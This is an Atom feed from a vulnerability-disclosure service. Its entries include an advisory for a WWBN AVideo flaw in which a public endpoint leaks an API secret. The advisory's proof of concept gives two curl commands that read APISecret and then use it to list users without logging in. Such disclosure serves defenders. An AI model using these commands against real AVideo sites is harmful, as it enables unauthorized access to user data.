<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-14T22:11:33.059338+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-319054</id>
    <title>EUVD-2026-319054</title>
    <updated>2026-10-14T22:11:33.095308+00:00</updated>
    <content>EUVD-2026-319054</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-319054"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2026-43885</id>
    <title>fkie_cve-2026-43885</title>
    <updated>2026-10-14T22:11:33.095342+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>WWBN AVideo is an open source video platform. In versions up to and including 29.0, an unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints (e.g. users_list) without logging in. Commit 1c36f229d0a103528fb9f64d0a1cc0e1e8f5999b contains an updated fix.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2026-43885"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-xr49-f4rh-qcjf</id>
    <title>GHSA-xr49-f4rh-qcjf — AVideo Vulnerable to Exposure of Sensitive Information to an Unauthorized Actor and Missing Authorization</title>
    <updated>2026-10-14T22:11:33.095374+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Packagist: wwbn/avideo</p>
<p>### Summary
  An unauthenticated user can read `APISecret` from `objects/plugins.json.php` and use it to call protected API endpoints
  (e.g. `users_list`) without logging in.</p>
<p>### Details
  `objects/plugins.json.php` is public and still exposes plugin `object_data` containing `APISecret`.
  That secret is accepted by `plugin/API/get.json.php` as authentication.</p>
<p>### PoC
  1. Get plugin config (contains `APISecret`):
  ```bash
  curl 'http://&lt;host&gt;/objects/plugins.json.php'
```
&lt;img width="879" height="94" alt="image" src="https://github.com/user-attachments/assets/027073fc-dccd-4e1d-8450-ad12345e88eb" /&gt;</p>
<p>2. Copy APISecret from response, then call API directly:
  ```bash
  curl --get 'http://&lt;host&gt;/plugin/API/get.json.php' \
    --data-urlencode 'APIName=users_list' \
    --data-urlencode 'APISecret=&lt;APISecret&gt;' \
    --data-urlencode 'rowCount=3' \
    --data-urlencode 'current=1'
```
&lt;img width="1719" height="170" alt="image" src="https://github.com/user-attachments/assets/edd629be-e75c-40a2-a52f-2f2e6da99b79" /&gt;</p>
<p>### Impact
  Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data.</p>
<p>### Recommended fix
  Requiring admin auth for full plugin inventory/config endpoint.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-xr49-f4rh-qcjf"/>
  </entry>
</feed>
